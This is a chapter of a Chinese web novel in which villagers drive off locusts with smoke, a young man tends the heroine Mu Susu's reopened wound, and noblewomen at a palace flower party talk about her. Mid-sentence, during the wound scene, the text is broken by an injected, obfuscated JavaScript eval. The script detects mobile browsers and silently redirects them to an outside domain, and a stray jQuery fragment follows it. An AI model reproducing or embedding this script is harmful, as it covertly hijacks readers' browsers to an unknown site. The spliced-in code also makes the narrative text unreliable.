村内众人循声三三两两赶至村口,神色惊恐的望着远处。
天边早晨的雾未散,但依稀能见一道道密密麻麻的黑云正往村庄方向翻涌而来,所到之处皆是一片破败。
蝗虫翅膀发动的嗡嗡声铺天盖地,天空都跟着震颤了起来。
“地里的庄稼还刚刚冒头,这可怎么办呀!”红姐心急如焚。
“是啊,我昨天才刚刚施过肥!”
……
“大家别慌,蝗虫还没下来,咱们还有机会!”牧苏苏一瘸一拐冲在最前面,对众人大喝道。
“你的伤还没好,跑出来做什么?”黎听舟皱眉,他刚准备带领村民进行烟熏之法,没想到二人想到一块去了。
“来的正好,你我二人分头带着大家操作一下之前说过的那个法子!你带着一队先赶过去,我带着红姐她们去多捡些能焚烧出烟之物。”
说着牧苏苏边往回跑对着红姐道:“快通知大家把能生火的东西都拿出来。木柴湿草,能烧的全用上!蝗虫怕烟,只要我们烧起来,烟雾弥漫,他们就不敢落下来。”
她说得笃定,眼中的坚毅一如往昔,仿佛回到带众人去找食物的那一日清晨。
“大家伙都跟上!”
黎听舟看了眼奔在最前面的黎苏苏,也明白此刻最重要的是激起众人心中的斗志。他没再阻拦,转身带领着男丁们带将枯草点燃,冲向田坎,将不大的地团团围住。
“大家用力,这烟越大越好!”
熊熊燃烧的火光映在每个人的脸上,这次他们不再是害怕,惶恐,束手无策。
眼看头顶的黑云越来越近,蝗虫铺天盖地而来,仿佛要把一切吞噬于这黑暗间。
刚有两三只“先锋军”冲进田野,便被滚滚浓烟淹没。
仿佛是听到了某种暗号般,本来俯着身子不顾一切前冲的蝗虫竟开始在空中盘旋起来。
众人见此法竞争的有效,不免露出喜色。
“快,大家用力挥舞!”
田坎上浓烟四起,烧完的麦秆灰四散飞扬,飘飘荡荡旋个圈落入刚萌出新芽的土地。
黎苏苏操着一块巨大的秸秆捆,顾不得背上伤口撕裂的疼痛,用力得挥舞着。
这是村民自灾难开始后第一次与蝗虫正面斗争,每个人都使出了全身的力气。
没一会,那低空盘旋的蝗虫,似是被这烟雾所迷,调转方向往南方去了。
有几个不顾浓烟冲进苗田里蝗虫,被镇守在田地中央的小萝卜头们逮住,装入竹编的小篓里,只能无力得吱吱叫唤。
“他们真的走了?”红姐还是有点不可置信。
“这法子真的管用!”
“太好了!”
“看来这蝗虫也有害怕之物啊!”
……
多少次了,蝗虫来的时候他们只能任由着啃食,毫无办法。这还是第一次,蝗虫转头而逃,众人止不住的兴奋。
牧苏苏终于松了一口气,把手中的火把放下,才发觉背后的伤口好像又裂开了,散发着阵阵刺痛。
“别动,我扶你进门。”黎听舟的声音在耳畔,不容反驳的语气中带着一丝不易察觉的温柔。
牧苏苏今日特地换了身长衫,袖长腿长,遮住了昨日的青紫。刘老的药甚是管用,昨日青紫的嘴角今日只剩嘴角的一快小痂,倒合了她不想让众人担心的意。
在众人的首战告捷的欢呼呐喊声中,牧苏苏被黎听舟搀扶着悄悄回了小屋。
一路上,她能感觉伤口越来越痛,一股温热从伤口处淌下,她不动声色挺直背脊,不让身旁的人看出端倪。
刚坐下,牧苏苏便从包里拿出一个锦囊,想把男人支走,再随意处理一下伤口便罢,还没开口。
“药呢?我重新给你敷上。”
“我已经好了,刘老那甚是管用,你看,我嘴角这是不是都好了?”说着,她赶忙转移话题,把锦囊塞在他手里。
那锦囊小小一个,粉色的缎面闪着绸缎般的光泽,绣着的云纹更是针脚细密,光看着就知道定是商贾贵胄之物。
“你一会便替我去一趟镇上吧,采购些便宜的粗糠,剩下的到时候按劳分给大伙们。”牧苏苏惦记着系统任务的事,她可不想受惩罚。
黎听舟接过打开锦囊一看,整整齐齐躺着几个碎银子,内侧有一个小小的叶字,绣的精巧隐蔽,通常是达官贵人才会以此标记来以防下人偷窃。
叶…这姓氏少见,又是如此富贵之家的,他只能想到一个,叶诚,南州县令。
他不动声色束起锦囊,看着牧苏苏那期盼他离开的小眼神,眯起眼一笑。
“你后背裂开了,先上药,上完我去镇上。”
呃,这男人太聪明了吧。自觉隐藏得天衣无缝的牧苏苏尴尬地揣摩着手臂袖子里的小痂。
“这…男女授受不亲,我一会去喊红姐帮我上。”牧苏苏看似回的认真,朝黎听舟摆摆手,示意他不用担心,快去吧。
黎听舟轻轻“哼”笑一声,牧苏苏今早那遮掩的样子哪像是会让村里人知晓的:“哦?那我现在去帮你喊?”
“咳咳—”正把碗盏中的水往嘴里送的牧苏苏猝不及防被被呛到,刚缓过来一些,又听男人道。
“姐姐于我可是有救命之恩,若没有亲眼看到红姐进来上药,我定无心干其他事。”黎听舟眉头微皱,期期艾艾。
姐姐这个事真的没完了!牧苏苏咬了咬后槽牙,抬眼准备回怼,就看见黎听舟那张人神共愤的脸上带着关切,眸光闪烁间露出一丝小心翼翼,活像一个被妻子责骂后却眨巴着眼问骂得喉咙干不干的任劳任怨的俊俏小夫郎。
两人僵持一瞬,牧苏苏才叹了一口气,妥协道:“那你给我上药吧,便不必麻烦红姐了。”
黎听舟拿起昨天刘老留下来的药,调制成糊。冰凉的玉指沾着些药糊轻柔得贴上牧苏苏后背。剧痛从小小的裂缝中钻入骨髓,疼的她忍不住倒吸一口凉气。
“痛就喊出来,会好受些。”黎听舟看着她死死咬住的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495735|170175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴唇,语气中带着点心疼。
牧苏苏摇摇头,强撑着露出一个安抚的笑:“没事啦,我以前差点被…”
她蓦然反应过来,止住话头。好险,差点说漏嘴。
“被什么?”
“没什么,你放心上药便是。”
前世清理变异植物时每次她都是以敢死队进入深处探查,往往都是以命相博,每一次都是遍体鳞伤,这样的伤她早习以为常。作为队长,她更不能表现出丝毫怯懦,每次都是回到基地后默默一个人独自疗伤。
这点伤在她来说真的不算什么,可今天听到男人这一句,却好像眼角有些发酸。
屋内一阵沉默,只余下阵阵药香。
——————
炎天暑月,若平时,京城贵女们怕是早早移居避暑山庄,而此时竟一个不拉,齐齐聚在灵妃举办的“流霞赏花会”中。
御花园被改造成了临时赏玩之地,亭台楼阁间的走廊中,布满青丝纱帐,没几步便有一个放满碎冰的银桶。下人们轻摇蒲扇,吹起阵阵冰凉的香风。
沈灵坐在高位,神色慵懒,身侧坐着几位身着华服的世家女眷,眼神谄媚,说是众星捧月也不为过。
“皇妃娘娘仪态万千,妾身瞧着眼前这满园繁花,竟不及娘娘半分仙资。”
“正是呢,娘娘这衣上的锦线,怕是天下也找不出第二个了。”
沈灵自从穿到这个世界成为皇妃后,听了不少奉承,她微微一笑,并未多做回应。
一旁的叶盈盈叶着实费了些心思,月白的长裙镶着朵朵粉梅,看似简单,可仔细一瞧,那粉梅花心中嵌着碎宝石,在阳光下散出七彩的光,低调奢华。她用琉璃盏斟了杯茶恭敬递过去:“盈盈多谢皇妃娘娘的邀请,臣女实在三生有幸。”
她低着头,把茶盏高高举过头顶。
沈灵只是微微颔首低低应了一声,并未接过。这样她见都没见过的想巴结她的小门小户多如牛毛,她懒得一一回应。
周围传来低声嗤笑的声音,叶盈盈表情未变,退至角落,等众人的目光都移开,才偷偷瞪了几眼。
贴身侍女阿桃从身后而来,悄然行礼,随后伏到叶盈盈耳边:“小姐,昨日找的两个人回来了,说是刚开始教训人就跑了。他们向摊市打听到了,那贱人名为牧苏苏。”
叶盈盈下意识脱口而出:“牧苏苏?”
说完又立马瞧了一眼,还好众人依旧在围着沈灵,并未注意到她的失礼。然而在没人注意到的地方,听到这个名字的沈灵指尖微动,一瞬,又恢复了原样。
叶盈盈刚想对阿桃说别再追查了,耳边突然传来一道音调慵懒却带着一些不明意味的声音。
“牧苏苏?听你刚刚提到这个名字,是认识的人?”
叶盈盈一愣,虽然她觉得那样低贱的下等人肯定不会认识皇妃,但刚刚还对她爱答不理的沈灵此刻竟单独发问。她有些拿不准,一边察言观色一边小心翼翼的问:“皇妃娘娘可是…也听说过这个人?”